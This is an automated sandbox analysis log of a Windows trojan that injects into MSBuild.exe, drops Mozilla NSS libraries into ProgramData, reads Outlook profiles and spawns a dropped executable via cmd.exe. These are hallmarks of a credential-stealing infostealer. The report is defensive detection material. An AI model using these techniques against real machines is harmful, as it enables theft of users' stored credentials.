Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC7AEC0	4_2_6CC7AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CD10EC0	4_2_6CD10EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CCF6E90	4_2_6CCF6E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CD0EE70	4_2_6CD0EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CD50E20	4_2_6CD50E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CD4EFF0	4_2_6CD4EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC70FE0	4_2_6CC70FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CDB8FB0	4_2_6CDB8FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC7EFB0	4_2_6CC7EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CCDEF40	4_2_6CCDEF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CD32F70	4_2_6CD32F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC76F10	4_2_6CC76F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CDB0F20	4_2_6CDB0F20

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CC094D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CDF09D0 appears 51 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004045C0 appears 317 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CBFCBE8 appears 134 times
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: String function: 007278D0 appears 49 times

Source: CR0QGWXdDl.exe

Static PE information: invalid certificate

Source: CR0QGWXdDl.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: CR0QGWXdDl.exe

Static PE information: Section: .data ZLIB complexity 0.989940625

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@14/23@0/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 4_2_6CC27030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

4_2_6CC27030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 4_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

4_2_00419600

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 4_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

4_2_00413720

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\WMQLXCN5.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7152:120:WilError_03

Source: CR0QGWXdDl.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: MSBuild.exe, 00000004.00000002.2193256985.000000001AFB1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2204460615.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000004.00000002.2203596397.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: MSBuild.exe, 00000004.00000002.2193256985.000000001AFB1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2204460615.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000004.00000002.2203596397.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: MSBuild.exe, 00000004.00000002.2193256985.000000001AFB1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2204460615.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000004.00000002.2203596397.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: MSBuild.exe, 00000004.00000002.2193256985.000000001AFB1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2204460615.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000004.00000002.2203596397.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: MSBuild.exe, MSBuild.exe, 00000004.00000002.2193256985.000000001AFB1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2204460615.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000004.00000002.2203596397.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: MSBuild.exe, 00000004.00000002.2193256985.000000001AFB1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2203596397.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: MSBuild.exe, 00000004.00000002.2193256985.000000001AFB1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2204460615.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000004.00000002.2203596397.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: EGIDAAFIEHIEHJKFHCAE.4.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: MSBuild.exe, 00000004.00000002.2193256985.000000001AFB1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2203596397.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: MSBuild.exe, 00000004.00000002.2193256985.000000001AFB1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2203596397.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: CR0QGWXdDl.exe

Virustotal: Detection: 41%

Source: MSBuild.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: MSBuild.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?

Source: unknown	Process created: C:\Users\user\Desktop\CR0QGWXdDl.exe "C:\Users\user\Desktop\CR0QGWXdDl.exe"
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userGCGCFCBAKK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userGCGCFCBAKK.exe"	Jump to behavior

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: CR0QGWXdDl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: CR0QGWXdDl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: CR0QGWXdDl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: CR0QGWXdDl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: CR0QGWXdDl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: CR0QGWXdDl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: CR0QGWXdDl.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: CR0QGWXdDl.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.4.dr, freebl3[1].dll.4.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.4.dr, freebl3[1].dll.4.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000004.00000002.2204460615.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.4.dr, softokn3.dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.4.dr, vcruntime140[1].dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.4.dr, msvcp140.dll.4.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000004.00000002.2204460615.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.4.dr, softokn3.dll.4.dr

Source: CR0QGWXdDl.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: CR0QGWXdDl.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: CR0QGWXdDl.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: CR0QGWXdDl.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: CR0QGWXdDl.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 4_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

4_2_00419860

Source: CR0QGWXdDl.exe

Static PE information: real checksum: 0x7d22e should be: 0x85cd7

Source: msvcp140[1].dll.4.dr	Static PE information: section name: .didat
Source: nss3.dll.4.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.4.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.4.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.4.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.4.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.4.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_00726EF4 push ecx; ret	0_2_00726F07
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_00766F15 push ecx; ret	0_2_00766F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0041B035 push ecx; ret	4_2_0041B048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBFB536 push ecx; ret	4_2_6CBFB549

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
